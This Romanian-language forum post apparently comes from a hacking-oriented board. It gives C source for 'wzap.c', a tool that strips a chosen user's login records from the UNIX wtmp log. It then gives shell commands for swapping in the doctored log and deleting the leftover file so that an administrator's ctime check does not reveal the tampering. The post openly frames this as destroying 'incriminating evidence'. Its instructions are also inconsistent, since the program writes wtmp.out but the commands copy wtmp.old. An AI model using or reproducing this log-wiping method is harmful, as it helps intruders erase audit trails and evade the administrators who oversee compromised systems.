UNIX, Linux, Programare, Scripting, Retele
unix, linux, programare, script, hosting, server, retele
|
Lista Forumurilor Pe Tematici
|
UNIX, Linux, Programare, Scripting, Retele | Reguli | Inregistrare | Login
POZE UNIX, LINUX, PROGRAMARE, SCRIPTING, RETELE
Nu sunteti logat.
|
Nou pe simpatie: irina_dragalasa 24 ani
 | Femeie 24 ani Bucuresti cauta Barbat 26 - 65 ani |
|
operabilus
B.O.F.H.
 Din: Sillycon Valley
Inregistrat: acum 20 ani
Postari: 200
|
|
Odata ce v-ati logat pe un sistem UNIX (sau Linux, *BSD) in fisierul /var/log/wtmp se pune o inregistrare cu data si ora la care v-ati logat, si terminalul de pe care v-ati logat. Normal exista tendinta de a deschide fisierul cu un editor de texte normal (vi, pico) si sa editati (stergetI) liniile care corespund logarii. Problema e ca fisierul nu poate fi editat cu un editor simplu de texte asa ca multi care habar n-au despre ce e vorba il ignora. Pun mai jos un program facut de Dave (cine naiba o mai fi si ala... ideea ii ca a facut o treaba buna).
Code:
/* Dave's neato wtmp program
* *wzap.c
* *NOTE: reads 'wtmp' from current directory and writes
* *'wtmp.out' in cuurent directory...
* */
#include<utmp.h>
#include<stdio.h>
#include<time.h>
#include<sys/time.h>
FILE *Wfile, *Wout;
struct utmp myutmp;
main(argc,argv)
int argc;
char *argv[];
{
char username[20];
char yesorno[5];
long thetime, posi;
if (argc<2) {
printf("nn");
printf("Enter username to zap from the wtmp: ");
scanf("%s",username);
} else strcpy(username,argv[1]);
printf("nopening file...n");
if ((Wfile = fopen("wtmp","r"))==NULL)
{ printf("no open filen"); exit(0); }
printf("opening output file...n");
if ((Wout = fopen("wtmp.out","wr"))==NULL)
{ printf("no open output file...n"); exit(0); }
printf("working...n");
while(!feof(Wfile)) {
fread(&myutmp,sizeof(myutmp),1,Wfile);
if (strncmp(myutmp.ut_name,username,8))
fwrite(&myutmp,sizeof(myutmp),1,Wout);
}
fclose(Wfile);
fclose(Wout);
} |
Programul se compileaza si se ruleaza in directorul /var/log sau oriunde e pastrat fisierlug wtmp. Fisierul alterat va fi denumit wtmp.out iar continutul va fi asemanator cu continutul fisierului wtmp mai putin liniile care corespund userului specificat la rulare. Acum intrebarea se pune "Ce trebuie facut?". Puteti sterge fisierul wtmp si sa copiati wtmp.old in locul lui dar un admin cu experienta isi da seama ca valoarea ctime a fisierului a fost modificata. Mai bine executati urmatoarele comenzi:
Code:
cat wtmp.old > wtmp; rm -f wtmp.old |
Prima comanda sterge continutul fisierului wtmp si pune in fisier continutul fisierului wtmp.old (adica fisierul modificat). A doua comanda sterge wtmp.old (probele incriminatorii). Daca folositi aceasta comanda, valoarea ctime a fisierului wtmp va ramane aceeasi pentru ca, practic, nu ati sters fisierul. Ati modificat doar intreg continutul  Valoarea mtime a fisierului nu conteaza pentru ca nu o verifica nimeni... e normal sa se modifice la fiecare accesare pentru scriere a fisierului...
Bafta !
-- by operabilus --
_______________________________________ Portal SkullBox SkullBox Forum IP Finder and web browser details revealer
|
|
| pus acum 19 ani |
|